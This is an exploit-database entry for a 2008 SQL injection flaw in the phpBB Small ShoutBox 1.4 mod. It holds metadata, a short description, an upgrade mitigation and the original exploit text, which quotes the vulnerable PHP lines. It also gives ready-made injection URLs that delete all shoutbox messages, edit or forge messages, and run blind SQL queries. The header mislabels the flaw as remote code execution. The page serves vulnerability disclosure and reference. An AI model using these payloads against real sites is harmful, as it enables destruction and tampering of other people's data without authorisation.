phpBB Mod Small ShoutBox 1.4 Remote Edit/Delete Messages Vuln

vendor:

phpBB Mod Small ShoutBox

by:

StAkeR

7.5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: phpBB Mod Small ShoutBox

Affected Version From: 1.4

Affected Version To: 1.4

Patch Exists: Yes

Related CWE: N/A

CPE: a:phpbb:phpbb_mod_small_shoutbox:1.4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

phpBB Mod Small ShoutBox 1.4 Remote Edit/Delete Messages Vuln

A vulnerability exists in phpBB Mod Small ShoutBox 1.4 which allows an attacker to remotely execute code. This is due to the application not properly sanitizing user-supplied input to the 'id' parameter in the 'shoutbox_view.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing an SQL query to the vulnerable script. This can allow the attacker to delete or edit messages, as well as perform a blind SQL injection attack.

Mitigation:

Upgrade to the latest version of phpBB Mod Small ShoutBox.

Source

Exploit-DB raw data:

/*
    --------------------------------------------------------------
    phpBB Mod Small ShoutBox 1.4 Remote Edit/Delete Messages Vuln
    --------------------------------------------------------------
    Discovered By StAkeR[at]hotmail[dot]it
    Download On http://www.phpbbhacks.com/load.php?id=1595
    NOTE:  Works Regardless PHP.ini Settings!
    Thanks darkjoker
    --------------------------------------------------------------
    
    File (shoutbox_view.php)
    
    
    50. $id = ( isset($HTTP_GET_VARS['id']) ) ? $HTTP_GET_VARS['id'] : $HTTP_POST_VARS['id'];
    
    
    
    168. if ( $mode == "delete" && $adel )
    169. {
    170.   $sql = "DELETE FROM " . SHOUTBOX_TABLE . "
    171.   WHERE id = $id $del_mod";
    172. if( !($result = $db->sql_query($sql)) )
    173. { message_die(GENERAL_ERROR, 'Could not delete shoutbox message', '', __LINE__, __FILE__, $sql); }
    174.
    
    
    - Delete All Messages
    - shoutbox_view.php?mode=delete&id=-1 or 1=1/*
    
    - Edit Message / Post Message
    - shoutbox_view.php?mode=edit&id=-1 or 1=1/*&name_id=1 or 1=1/*&date_edit=1225915829&name_edit=[NICKNAME]&clean_msg=[MESSAGE]
    
    
    - Blind SQL Injection
    - phpBB2/shoutbox_view.php?mode=delete&id=[Query]
   
*/   

# milw0rm.com [2008-11-05]